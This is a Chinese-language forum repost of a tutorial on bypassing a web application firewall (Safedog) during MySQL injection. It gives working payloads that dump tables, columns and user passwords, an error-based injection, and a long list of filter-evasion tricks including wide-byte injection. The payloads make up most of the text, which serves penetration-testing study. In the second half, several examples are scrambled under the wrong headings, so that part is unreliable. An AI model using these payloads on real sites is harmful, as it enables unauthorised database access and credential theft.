拉不拉稀肚拉稀 发表于 2024-6-3 01:20:04

MySQL注入之Fuzz测试&Bypass WAF小结

目录

[*]BurpSuite Fuzz测试

[*]内联注释
[*]绕过union[]select联合查询
[*]绕过敏感函数
[*]绕过from[]information_schema查表
[*]报错注入示例

[*]常规绕过思绪总结

[*]空格绕过
[*]引号绕过
[*]逗号绕过
[*]比较符号绕过
[*]逻辑符号绕过
[*]关键字绕过
[*]编码绕过
[*]等价函数绕过
[*]宽字节注入
[*]多参数请求拆分
[*]生僻函数
[*]输出内容过滤


BurpSuite Fuzz测试

在绕过之前需要搞清楚哪些东西被过滤了,哪些没有,主要思绪就是通过fuzz来辅助判断。
WAF的规则过滤时可能重点关注的5个位置:id=1unionselect1,username,3fromusers
安全狗试一下-1' union select 1,2,3 --+不出所料被拦截了。
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240602161745825-1222502567.png
测试单独的一个union和单独的select都是可以的过的,但是组合在一起联合查询就会被过滤,最基本的绕过思绪是利用内联注释/**/和/*!*/来替换空格绕过。
内联注释

注释/*!*/可以来替换空格绕过,它是一种特别的注释,被称为条件编译注释。当!背面接数据库版本号时,如果自身版本号大于等于字符数,就会将注释中的内容执行,否则就会当做注释来处理。
比如:/*!000001*/,MySQL的版本为5.7,注释中的内容被当作SQL语句执行了,下面的例子相当于1=1,成功绕过了and 1=1的限定。
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240602180349000-254842574.png
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240602175852565-2048009686.png
注释/**/和/*!*/的区别就是它包含的内容MySQL不会执行。
关于内联注释/*!50100*/特别注意50100表示MySQL的版本5.01.00大概更高的版本,才有效不报错。也就是说内联注释可以从/*!00000*/到/*!50100*/都可以作为payload。
绕过union[]select联合查询

观察以往多种bypass的payload,union和select之间的位置/**/中间加东西可以绕过。
不妨用Burp Fuzz试一试:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240602165644363-1210894213.png
对union和select之间的字符进行爆破:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240602171052533-1475760377.png
当字符的长度来到5的时候,发现有许多就可以绕过了:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240602171132511-1792080902.png
任意选一个来进行测试,构造payload如下:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240602171333154-1425124137.png
-1'union/*/!*!/*/select%201,2,3--+成功绕过了联合查询的空格过滤。
绕过敏感函数

当联合查询被绕过以后需要借助一些函数来了解数据库。但是直接执行函数毫无疑问会被过滤。
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240602181612590-445472597.png
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240602181552644-1575465053.png
是将函数名+括号一同过滤,单独的函数名没有过滤,括号也没有被过滤。利用等价函数绕过显然不现实,函数名大小写,双写这些常规套路也都没用。
尝试16进制编码绕过:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240602182611914-212653201.png
绕过了但又没完全绕过,被编码的函数名被当作一个平常的字符,不会被当作一个函数执行。
所以思绪是将函数名和括号分开,在函数名上做文章,尝试用注释/*!xxx*//**/()这种方式来进行绕过:
单纯的注释肯定不可以,用Burp Fuzz试一试:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240602185744573-14286153.png
利用绕过空格的思绪,发现有许多都可以绕过的:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240602185925431-978534539.png
任意选一个
-1'union/*/!*!/*/select%201,/*!user*//*/-//*/(),3--+
-1'union/*/!*!/*/select%201,database/*///-*/(),3--+成功绕过了敏感函数过滤。
绕过from[]information_schema查表

当绕过敏感函数database()后就可以查看数据库有哪些表,正常的SQL语句:
group_concat(table_name) from information_schema.tables where table_schema=database()颠末测试发现from table_name和information_schema.tables均被过滤。
同样采用上面内联注释的方法试一试:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240602202711078-457135699.png
尝试利用注释绕过from后的空格,并且利用其他的表代替information_schema.tables(参考 MYSQL注入中information_schema的替代 )但是也没能成功。
看看其他师傅是如何绕过的:
还有一种的话就是内联注释的利用方法就是中间加注释符再加换行,也就是/*!%23%0a*/这种情势:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240602203257481-1926173647.png
将%23换成--+再构造试一试:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240602203701574-201101320.png
-1'union/*/!*!**/select%201,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables*/%20where%20table_schema='security'--+成功爆出了表名。
有了表名的绕过,那么爆列名也不是件太难的事情,修改一下Payload即可:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240602204040750-676003136.png
-1'union/*/!*!**/select%201,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns*/%0awhere%0atable_name='users'--+同理,修改语句即可爆字段信息:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240602204318755-1805034615.png
-1'union/*/!*!**/select%201,2,group_concat(id,password)from/*!--+/*%0ausers*/--+报错注入示例

当union联合查询不可利用时,并且在有报错的情况下可以考虑利用报错注入:
and ST_LatFromGeoHash(concat(0x7e,(select/*/!*!**/username/*/!*!**/from/*/!*!**/users/*/!*!**/limit 0,1),0x7e))https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240602204952794-1076679498.png
在报错函数中利用内联注释绕过空格的方式同样可用。
常规绕过思绪总结

搜集了一些常规的绕过思绪和方法,随着WAF越来越强,有些方法已经失效了。但在实战的时候多一种思绪也不是什么坏事。
空格绕过

最基本的绕过方法是利用注释/**/和/*!*/来替换空格:
select/**/schema_name/**/from/**/information_schema.schemata;
select/*!*/schema_name/*!*/from/*!*/information_schema.schemata;利用/*!...*/条件编译注释绕过空格:
/*!select*//*!schema_name*//*!from*//*!information_schema.schemata*/;在SQL中,括号()用来重新构造语句结构,并且而括号的两头可以没有多余的空格(最好用):
select(schema_name)from(information_schema.schemata);在SQL中,反引号(``)用于标识数据库、表或列的名称。在反引号的两头可以没有多余的空格:
select`username`from`user`;利用浮点数:
select * from user where id=1 union select 1,2,3;
select * from user where id=1.0 union select 1,2,3;
select * from user where id=1e0union select 1,2,3;利用%20 %09 %0a %0b %0c %0d %a0 %00等URL编码代替空格。
引号绕过

利用十六进制编码绕过:
selec * from user where username="admin";
select * from user where username=0x61646D696E;逗号绕过

利用join毗连操作绕过逗号:
select * from user union select 1,2,3;
select * from user union select * from (select 1)a join (select 2)b join (select 3) as alias;https://img2024.cnblogs.com/blog/3222269/202405/3222269-20240520104610379-235999899.png
在盲注时,用到的字符串截取函数substr(),substring(),mid()中也会用到逗号:
substr(string, position, length)可以利用from position for length的方式绕过逗号:
select substr(database(),1,1);
select substr(database() from 1 for 1);

select substring(database(),1,1);
select substring(database() from 1 for 1);

select mid(database(),1,1);
select mid(database() from 1 for 1);盲注时逐个判断查到字符ascii码时,可以直接利用模糊查询来绕过字符串截取函数的逗号:
select ascii(substr(database(),1,1))=117;
select database() like 'u%';对于limit可以利用offset来绕过逗号:
select * from news limit 0,1
select * from news limit 1 offset 0比较符号绕过


大于号>和小于号str2,返回1;当str164;利用greatest()函数绕过比较符号:
select greatest(1,2,3);
select least(1,2,3);如果等号=被过滤,可以考虑利用like | regexp大概绕过:
select * from user where id in (1, 3, 5);操作符在MySQL中表示不等于:
between 1 and 1;#等价于=1逻辑符号绕过

or,and,xor,not布尔逻辑操作符被过滤:
select * from user where ascii(substr(database(),1,1))>64;在大概可用与运算符^来绕过:
select * from user where greatest(ascii(substr(database(),0,1)),64)=64关键字绕过

union,select,where等关键字被过滤:
利用大小写绕过:
select * from user where username like 'admin';#模糊匹配字符串
select * from user where username regexp '^'#正则表达式匹配利用注释符绕过:
select * from users where username <> 'guest';内联注释绕过:
and 等价 &&   or 等价 ||   xor 等价 |   not 等价 !双写绕过(只将匹配的第一个关键字删除):
真^真^真=真

真^假^真=假

真^(!(真^假))=假能利用注释绕过的很大一部门原因是服务器端未检测或检测不严注释内的字符串。
编码绕过

URL编码,ASCII,HEX,Unicode编码绕过:
sELeCt * fRoM user UnIoN/**/SeLeCT 1,2,3;等价函数绕过

/**/, #, --+, -- -, //, -- , ;, %00, --a宽字节注入

在MySQL利用GBK编码(宽字符集)的时候,会认为两个字符为一个汉字。
当PHP开启GPC后,会对特别字符进行转义,比如将'转义为\',转义后字符对应的URL编码为%5c%27。
如果如今在%5c%27的前面加上%df,则就变为了%df%5c%27。此时利用GBK编码的MySQL就会认为%df%5c是一个宽字符,也就是一个汉字運。如许就会导致%27作为一个单独的'符号留在表面,有了单引号就可以注入。
简单说就是,利用宽字符集占用两个字节的性质,利用%df吃掉用来转义的\字符,造成单引号逃逸,产生注入。
/*!UnIoN*/ SeLeCT 1,2,3;防御:
设置MySQL的毗连参数,利用二进制模式 charcater_set_client=binary
多参数请求拆分

对于多个参数拼接到同一条SQL语句中的情况,可以将注入语句分割插入。
例如请求URL时,GET参数格式如下:
UNIunionONSeLselectECT1,2,3;将GET的参数a和参数b拼接到SQL语句中:
select * from user where username='admin' and password='%20OR%201=1';
select * from user where username='admin' and password=char(39,111,114,48,49,48,49,48,49)';
select * from users where username='admin' and password=0x2726;
select * from users where username='admin' and password=unicode('%u0027');这时就可以将注入语句进行拆分,如下所示:
hex(),bin() ==> ascii()
sleep() ==> benchmark()
concat() ==> group_concat(),concat_ws()
substr() ==> substring(),mid(),left(),right(),elt()
length() ==> char_length()
@@user ==> user()
@@datadir ==> datadir()
......最终将参数a和参数b拼接,得到的SQL语句如下所示:
id=1' =转义处理=> id=%31%5c%27 =sql语句=> id=1\' ==> 无法注入

id=1%df' =转义处理=> id=%31%df%5c%27 =sql语句=> id=1運' ==> 宽字节注入生僻函数

利用生僻函数替代常见的函数,例如在报错注入中利用polygon()函数替换常用的updatexml()函数绕过函数过滤:
?a=&b=输出内容过滤

编码
and a= and b=字符替换
a=union/*&b=*/select 1,2,3,4编码+字符替换
and a=union /*and b=*/select 1,2,3,4将查询结果写入文件再读取
select polygon((select * from (select * from (select @@version) f) x));参考文章:
https://www.cnblogs.com/Vinson404/p/7253255.html
https://cloud.tencent.com/developer/article/2050038
https://www.freebuf.com/articles/web/321240.html
如有错误,接待指正!o( ̄▽ ̄)ブ

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: MySQL注入之Fuzz测试&Bypass WAF小结